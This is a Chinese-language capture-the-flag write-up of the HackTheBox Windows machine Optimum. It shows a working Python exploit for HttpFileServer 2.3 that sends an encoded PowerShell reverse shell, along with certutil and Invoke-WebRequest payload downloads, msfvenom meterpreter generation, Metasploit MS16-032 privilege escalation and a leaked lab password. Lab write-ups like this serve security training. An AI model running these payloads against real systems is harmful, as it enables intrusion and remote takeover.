> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Optium HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**技能：**

* HttpFileServer 2.3 利用（RCE）
* 系统枚举 - Windows Exploit Suggester
* Windows Server 12（MS16-032）（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/4c4d088104958d9d0f73c6e96756e26b0ef33470" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/98c343b2046491126a2ef20ddd4d32eef9e08f63" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.8 -oG allPorts
```

<figure><img src="/files/6b88c03860630a6aeace2887df562e0eeac19150" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（80）

<figure><img src="/files/2652d7ea9e9ccfaf184fdbb8d9549a0f48ac3083" alt="" width="563"><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p80 10.10.10.8 -oN targeted
```

<figure><img src="/files/e15158973d8789ea67f28cbfe553796e9278c930" alt=""><figcaption></figcaption></figure>

为了通过 DNS 将域名解析为 IP 地址，会将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件：

<figure><img src="/files/8a3cf3209fecc85114af50d15505bf47c2995ef4" alt="" width="563"><figcaption></figcaption></figure>

## **利用**

### **80端口：HttpFileServer 2.3**

发现了一个 Web 服务器 HttpFileServer 2.3。经过搜索，该版本存在可被远程代码执行利用的漏洞（NCE）。

<figure><img src="/files/cbef130b3d545b58a81da6451d67822a72896f23" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f261386e6111627747f61342a34192188cfc7dd8" alt="" width="503"><figcaption></figcaption></figure>

### **漏洞研究**

命令：

```bash
searchsploit -m windows/remote/49584.py
```

{% embed url="<https://www.exploit-db.com/exploits/39161>" %}

**Python 自定义脚本**

<figure><img src="/files/3beb5911a13fa34fcf985d886808fa8a334b1ebe" alt=""><figcaption></figcaption></figure>

**Python 自定义脚本**

该脚本必须修改以包含以下参数：

* `LHOST` ：你的本地 IP（VPN）。
* `LPORT`：本地监听端口（例如 4444）。
* `RHOST`：目标 IP。
* `RPORT`：易受攻击服务的端口（例如 80）。

```python
import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80

# 定义要写入文件的命令
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# 将命令编码为 base64 格式
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/n已将命令编码为 base64 格式...")

# 定义要包含在 URL 中的负载
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# 对负载进行编码并发送 HTTP GET 请求
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/n已对负载编码并向目标发送了 HTTP GET 请求...")

# 打印一些信息
print("/n正在打印一些调试信息...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# 监听连接
print("/n正在等待连接...")
os.system(f'nc -nlvp {lport}')
```

在你的机器上监听：

```bash
rlwrap nc -nlvp 4444
```

<figure><img src="/files/e8edd1a1c2d016e1a3f926f95b21ab72872ec52c" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/748c33591c48195c05bf41d9dded0e3abfac2b48" alt="" width="563"><figcaption></figcaption></figure>

## **权限提升**

### **winPEAS 枚举** <a href="#winpeas-enumeration" id="winpeas-enumeration"></a>

我们启动了 winPEAS 工具，通过 winrm 在目标机器上进行识别。目的是发现敏感信息并识别潜在漏洞。

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

**下载并运行 winPEAS**

```
Invoke-WebRequest -Uri "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<figure><img src="/files/0f003b3dd1906f41534023fd9d3ed01ca8ccbb62" alt=""><figcaption></figcaption></figure>

这使我们能够发现关键信息，例如密码和操作系统版本的详细信息。

<figure><img src="/files/da8986062fe5ac37e1601688bdc3a01a239e8fff" alt=""><figcaption></figcaption></figure>

**发现的密码**

`kostas:kdeEjDowkS*`

此外，该工具还显示这台机器运行的是 Windows Server 2012 R2 Standard，这是一个易受攻击的版本，并且有一个可通过内核提升权限的相关漏洞利用。

<figure><img src="/files/f86220fe33f88ef8f26d4b2ada13c36f78446f9f" alt=""><figcaption></figcaption></figure>

### 内核利用：

我们查找了适用于 Windows Server 2012 R2 的本地权限提升漏洞利用程序。该 **MS16-032** 漏洞利用被证明适用于此版本的 Windows。

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

* **MS16-032** 适用于 Windows 2012 R2（本地权限提升）。

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

### **通过 Metasploit 获取反向 shell**

随后我们创建了 a.exe 文件，以建立来自 Metasploit 的反向 shell。采取了以下步骤：

监听 Metasploit：

```bash
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.12
set LPORT 4444
exploit -j
```

创建 payload `shell.exe` 使用以下命令：

<pre class="language-bash"><code class="lang-bash"><strong>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe
</strong></code></pre>

使用 Python HTTP 服务器传输 payload 并 `certutil`:

```bash
python3 -m http.server
```

```powershell
certutil.exe -f -urlcache -split http://10.10.14.12:8000/shell.exe
```

文件传输完成后，我们成功建立了一个 Meterpreter 会话（会话 1）。

<figure><img src="/files/a1f9a63e2230c07253473803d27c79626d6c6874" alt=""><figcaption></figcaption></figure>

### **MS16-032 漏洞利用**

获得对机器的访问权限后，我们在 Metasploit 中寻找该漏洞利用：

`exploit/windows/local/ms16_032_secondary_logon_handle_privesc`

<figure><img src="/files/978e83cdbc0ef0a2166375f145852751b796bc01" alt="" width="563"><figcaption></figcaption></figure>

我们设置了 sessions，设置 `LHOST` 和 `LPORT`，并选择 Windows x64 目标以避免冲突。漏洞利用完成后，我们获得了目标系统的完全访问权限。

<figure><img src="/files/581af7a2b6fdcd42aad4b660549083824dedbff1" alt=""><figcaption></figcaption></figure>

### root 的 flag :)

<figure><img src="/files/324a088a3b2b5a96bd1f48c93eeed40d141d90fe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6349495fd302a0a8b1b54e8ad27418cf384856f9" alt="" width="523"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
